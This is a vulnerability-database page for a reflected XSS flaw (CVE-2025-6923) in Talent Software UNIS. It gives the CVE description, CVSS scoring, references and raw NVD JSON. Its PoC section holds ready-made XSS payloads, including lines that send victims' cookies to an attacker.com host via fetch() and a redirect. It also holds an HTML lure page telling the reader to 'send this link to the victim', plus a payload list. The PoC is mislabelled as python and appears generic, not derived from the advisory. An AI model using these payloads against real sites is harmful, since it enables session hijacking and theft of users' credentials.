CVE-2025-6923

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Talent Software UNIS allows Reflected XSS.This issue affects UNIS: before 42957.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Talent Software UNIS < 42957

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-6923 Reflected XSS PoC for Talent Software UNIS -->
<!-- Replace TARGET_URL with the actual UNIS application URL -->

<!-- Basic XSS Payload -->
https://TARGET_URL/<script>alert('XSS')</script>

<!-- Event Handler Payload -->
https://TARGET_URL/?param=<img src=x onerror=alert(document.cookie)>

<!-- Cookie Theft Payload -->
https://TARGET_URL/?param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

<!-- Session Hijacking Payload -->
<html>
  <body>
    <h3>CVE-2025-6923 PoC - Reflected XSS in UNIS</h3>
    <p>Send this link to the victim:</p>
    <a href='https://TARGET_URL/?param=<script>document.location="https://attacker.com/log?cookie="+document.cookie</script>' target='_blank'>Click here</a>
    <script>
      // Automated testing script
      const targetUrl = 'TARGET_URL';
      const payloads = [
        '<script>alert(1)</script>',
        '<img src=x onerror=alert(1)>',
        '<svg onload=alert(1)>',
        "<iframe src='javascript:alert(1)'>"
      ];
      
      payloads.forEach(payload => {
        console.log('Testing payload:', payload);
        // In real testing, send request and check response
      });
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-6923
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-6923
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-6923/
[4] VulDB https://vuldb.com/cve/CVE-2025-6923
[5] https://www.usom.gov.tr/bildirim/tr-25-0435

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-6923", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:38.447", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Talent Software UNIS allows Reflected XSS.This issue affects UNIS: before 42957."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0435", "source": "[email protected]"}]}}